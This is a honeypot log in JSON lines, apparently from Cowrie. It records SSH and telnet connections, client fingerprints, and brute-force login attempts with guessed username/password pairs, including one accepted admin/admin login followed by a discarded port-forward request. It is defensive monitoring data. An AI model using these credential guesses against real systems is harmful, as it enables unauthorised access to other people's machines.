{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b1:1b:28:6f:15:42:ad:d1:a0:44:71:c7:d5:5a:f5:7b","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAJkk2Mg3Ah7QuvWiNnswQWlbeOkO9qHo1R7kBbcWR2TLx3MNcfkqNMxMKmfNZ2mOjDr8Ts5caVi2zBR6uVCl/OM97TFDoyLLYUvHbI6zmWppcFrfrNUFG3FaUW1jLKUs/I0YSSohTzTUm2fhuFZzYXSxWJja1mFBFAxf3Ynsk/zDAAAAFQC/uN0J2TtS4hIs0YhLnDtAndmUiwAAAIBvBUjp0cyzUaqbsq8/HjgH3EJTAiBVSJEeDWKHsprCl9vjvtGJcAbOnHTNz2rIXAIvv6x7OU6JYwwi+wSLqKXqvYu2rAtsr4NzJ6vrfZqetuqwvbLXUUtN+FN2y/jLhiejgjYnFVOFwSF5uIXUD32inDBhLAgEuMN/GUNdKOb8RgAAAIAowfO9rQHhRg2mKCmRW/FpNai2ecb5RxPwctOHAkcXeLQGcJ3qkFPBq0HYrwUS+vk97druHgL1qMmd8yZe+K416EygjKhwEzhTpL4qkvh7G2Va+liKwkRJdSnM1LkaZK9I182i5XCK9TIlsXPosvxdZRhAzVAMpP7qNJq1KnGB0w==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint b1:1b:28:6f:15:42:ad:d1:a0:44:71:c7:d5:5a:f5:7b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:06:30.469240Z","src_ip":"69.57.172.212","session":"cf1d3e4d64df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b1:1b:28:6f:15:42:ad:d1:a0:44:71:c7:d5:5a:f5:7b","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAJkk2Mg3Ah7QuvWiNnswQWlbeOkO9qHo1R7kBbcWR2TLx3MNcfkqNMxMKmfNZ2mOjDr8Ts5caVi2zBR6uVCl/OM97TFDoyLLYUvHbI6zmWppcFrfrNUFG3FaUW1jLKUs/I0YSSohTzTUm2fhuFZzYXSxWJja1mFBFAxf3Ynsk/zDAAAAFQC/uN0J2TtS4hIs0YhLnDtAndmUiwAAAIBvBUjp0cyzUaqbsq8/HjgH3EJTAiBVSJEeDWKHsprCl9vjvtGJcAbOnHTNz2rIXAIvv6x7OU6JYwwi+wSLqKXqvYu2rAtsr4NzJ6vrfZqetuqwvbLXUUtN+FN2y/jLhiejgjYnFVOFwSF5uIXUD32inDBhLAgEuMN/GUNdKOb8RgAAAIAowfO9rQHhRg2mKCmRW/FpNai2ecb5RxPwctOHAkcXeLQGcJ3qkFPBq0HYrwUS+vk97druHgL1qMmd8yZe+K416EygjKhwEzhTpL4qkvh7G2Va+liKwkRJdSnM1LkaZK9I182i5XCK9TIlsXPosvxdZRhAzVAMpP7qNJq1KnGB0w==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:06:30.473584Z","src_ip":"69.57.172.212","session":"cf1d3e4d64df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:06:30.671721Z","src_ip":"69.57.172.212","session":"cf1d3e4d64df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39340,"dst_ip":"10.17.0.5","dst_port":23,"session":"8755cba39193","protocol":"telnet","message":"New connection: 152.42.224.71:39340 (10.17.0.5:23) [session: 8755cba39193]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:06:30.879323Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57204,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc554a8acaed","protocol":"telnet","message":"New connection: 152.42.224.71:57204 (10.17.0.5:23) [session: bc554a8acaed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:06:37.938484Z"}
{"eventid":"cowrie.session.closed","duration":7.471240520477295,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:06:38.350297Z","src_ip":"152.42.224.71","session":"8755cba39193","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57206,"dst_ip":"10.17.0.5","dst_port":23,"session":"5229598e2ce3","protocol":"telnet","message":"New connection: 152.42.224.71:57206 (10.17.0.5:23) [session: 5229598e2ce3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:06:42.789109Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57220,"dst_ip":"10.17.0.5","dst_port":23,"session":"31d1e59fde44","protocol":"telnet","message":"New connection: 152.42.224.71:57220 (10.17.0.5:23) [session: 31d1e59fde44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:06:45.919508Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44596,"dst_ip":"10.17.0.5","dst_port":23,"session":"5ac40c48bcd5","protocol":"telnet","message":"New connection: 152.42.224.71:44596 (10.17.0.5:23) [session: 5ac40c48bcd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:06:55.388578Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.89.160.135","src_port":58000,"dst_ip":"159.203.135.109","dst_port":22,"session":"b50543271887","protocol":"ssh","message":"New connection: 64.89.160.135:58000 (159.203.135.109:22) [session: b50543271887]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:06:58.853449Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":49726,"dst_ip":"10.17.0.5","dst_port":22,"session":"c7598846c3db","protocol":"ssh","message":"New connection: 152.42.212.128:49726 (10.17.0.5:22) [session: c7598846c3db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:06:59.092700Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:06:59.098040Z","src_ip":"152.42.212.128","session":"c7598846c3db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:06:59.101897Z","src_ip":"152.42.212.128","session":"c7598846c3db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:06:59.256416Z","src_ip":"64.89.160.135","session":"b50543271887","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":40000,"dst_ip":"159.203.135.109","dst_port":22,"session":"af43a8e07796","protocol":"ssh","message":"New connection: 185.236.22.41:40000 (159.203.135.109:22) [session: af43a8e07796]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:07:00.378939Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:07:00.400763Z","src_ip":"185.236.22.41","session":"af43a8e07796","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:07:00.506310Z","src_ip":"185.236.22.41","session":"af43a8e07796","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456v","message":"login attempt [root/123456v] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:07:01.051306Z","src_ip":"185.236.22.41","session":"af43a8e07796","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:07:02.599319Z","src_ip":"185.236.22.41","session":"af43a8e07796","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":58088,"dst_ip":"10.17.0.5","dst_port":22,"session":"6fb62324e79f","protocol":"ssh","message":"New connection: 37.233.85.71:58088 (10.17.0.5:22) [session: 6fb62324e79f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:07:10.834714Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:07:10.841259Z","src_ip":"37.233.85.71","session":"6fb62324e79f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:07:10.946447Z","src_ip":"37.233.85.71","session":"6fb62324e79f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alex777","message":"login attempt [root/alex777] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:07:11.249139Z","src_ip":"37.233.85.71","session":"6fb62324e79f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:07:12.352447Z","src_ip":"37.233.85.71","session":"6fb62324e79f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.14426779747009,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:07:20.933270Z","src_ip":"152.42.224.71","session":"5229598e2ce3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"189.218.49.205","src_port":34850,"dst_ip":"159.203.135.109","dst_port":23,"session":"e4b430bc3ead","protocol":"telnet","message":"New connection: 189.218.49.205:34850 (159.203.135.109:23) [session: e4b430bc3ead]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:07:24.223440Z"}
{"eventid":"cowrie.session.closed","duration":50.9713134765625,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:07:28.909699Z","src_ip":"152.42.224.71","session":"bc554a8acaed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.92837309837341,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:07:33.847770Z","src_ip":"152.42.224.71","session":"31d1e59fde44","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.877880573272705,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:07:37.101147Z","src_ip":"189.218.49.205","session":"e4b430bc3ead","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38006,"dst_ip":"10.17.0.5","dst_port":23,"session":"f50973d789be","protocol":"telnet","message":"New connection: 152.42.224.71:38006 (10.17.0.5:23) [session: f50973d789be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:07:42.523379Z"}
{"eventid":"cowrie.session.closed","duration":111.1633825302124,"message":"Connection lost after 111 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:08:12.439331Z","src_ip":"152.42.224.71","session":"6903cec0a37f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":62353,"dst_ip":"159.203.135.109","dst_port":22,"session":"6442455b956e","protocol":"ssh","message":"New connection: 2.57.121.112:62353 (159.203.135.109:22) [session: 6442455b956e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:08:20.416027Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:08:20.423841Z","src_ip":"2.57.121.112","session":"6442455b956e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:08:20.525201Z","src_ip":"2.57.121.112","session":"6442455b956e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"6275","message":"login attempt [admin/6275] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:08:21.008544Z","src_ip":"2.57.121.112","session":"6442455b956e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"556655","message":"login attempt [admin/556655] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:08:22.114355Z","src_ip":"2.57.121.112","session":"6442455b956e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"555551","message":"login attempt [admin/555551] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:08:23.221997Z","src_ip":"2.57.121.112","session":"6442455b956e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"5552555","message":"login attempt [admin/5552555] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:08:24.327530Z","src_ip":"2.57.121.112","session":"6442455b956e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"5433","message":"login attempt [admin/5433] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:08:25.433732Z","src_ip":"2.57.121.112","session":"6442455b956e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":19172,"dst_ip":"10.17.0.5","dst_port":22,"session":"23ef4278bf87","protocol":"ssh","message":"New connection: 87.251.64.176:19172 (10.17.0.5:22) [session: 23ef4278bf87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:08:26.063869Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:08:26.069390Z","src_ip":"87.251.64.176","session":"23ef4278bf87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:08:26.167114Z","src_ip":"87.251.64.176","session":"23ef4278bf87","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:08:26.476208Z","src_ip":"87.251.64.176","session":"23ef4278bf87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:08:26.541502Z","src_ip":"2.57.121.112","session":"6442455b956e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:08:26.577218Z","session":"23ef4278bf87","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:08:26.680543Z","src_ip":"87.251.64.176","session":"23ef4278bf87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:08:26.781619Z","src_ip":"87.251.64.176","session":"23ef4278bf87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":24123,"dst_ip":"159.203.135.109","dst_port":22,"session":"624fed61f6e4","protocol":"ssh","message":"New connection: 2.57.121.25:24123 (159.203.135.109:22) [session: 624fed61f6e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:08:36.112372Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:08:36.116768Z","src_ip":"2.57.121.25","session":"624fed61f6e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:08:36.220455Z","src_ip":"2.57.121.25","session":"624fed61f6e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"19011995","message":"login attempt [user/19011995] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:08:36.706974Z","src_ip":"2.57.121.25","session":"624fed61f6e4","protocol":"ssh"}
